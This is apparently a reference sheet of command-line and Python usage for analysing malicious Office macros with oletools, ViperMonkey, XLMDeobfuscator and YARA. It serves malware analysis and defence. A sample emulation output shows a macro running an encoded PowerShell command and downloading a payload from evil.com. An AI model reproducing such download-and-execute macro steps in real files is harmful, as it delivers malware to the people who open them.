<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->

# Analyzing Macro Malware — API Reference

## oletools

### olevba — VBA Extraction

```bash
olevba document.doc                      # Extract and display VBA
olevba --detect document.doc             # Quick macro detection
olevba --deobf document.doc              # Deobfuscate strings
olevba -a document.doc                   # Detailed analysis
olevba --decode document.doc             # Decode encoded strings
olevba -j document.doc                   # JSON output
```

### oledump.py — OLE Stream Analysis

```bash
oledump.py document.doc                  # List OLE streams
oledump.py -s 7 document.doc             # Dump stream 7
oledump.py -s 7 -v document.doc          # VBA decompress stream 7
oledump.py -p plugin_vba_routines document.doc  # Plugin analysis
```

### oleid — Quick Triage

```bash
oleid document.doc                       # Quick indicator check
# Shows: VBA macros, encrypted, external relationships, flash objects
```

## XLMDeobfuscator

```bash
pip install XLMDeobfuscator
XLMDeobfuscator -f suspicious.xlsm       # Deobfuscate XLM macros
XLMDeobfuscator -f suspicious.xls --start-point "Sheet1!A1"
```

## ViperMonkey

```bash
pip install vipermonkey
vmonkey document.doc                     # Emulate VBA execution
vmonkey --iocs document.doc              # Extract IOCs during emulation
```

### Output Interpretation

```
VBA Emulation:
  AutoOpen() called
  Shell("cmd.exe /c powershell -enc ...") executed
  URLDownloadToFile("http://evil.com/payload.exe", "C:\Temp\update.exe")
IOCs:
  URLs: http://evil.com/payload.exe
  Files: C:\Temp\update.exe
```

## olefile (Python)

```python
import olefile

ole = olefile.OleFileIO("document.doc")
ole.listdir()                            # List all streams
ole.openstream(["Macros", "VBA", "Module1"]).read()  # Read stream
ole.get_metadata()                       # Document metadata
ole.close()
```

## YARA — Maldoc Rules

```bash
# Neo23x0 maldoc rules
yara -r signature-base/yara/gen_document_macros.yar samples/
yara -r signature-base/yara/gen_excel4_macros.yar samples/
```
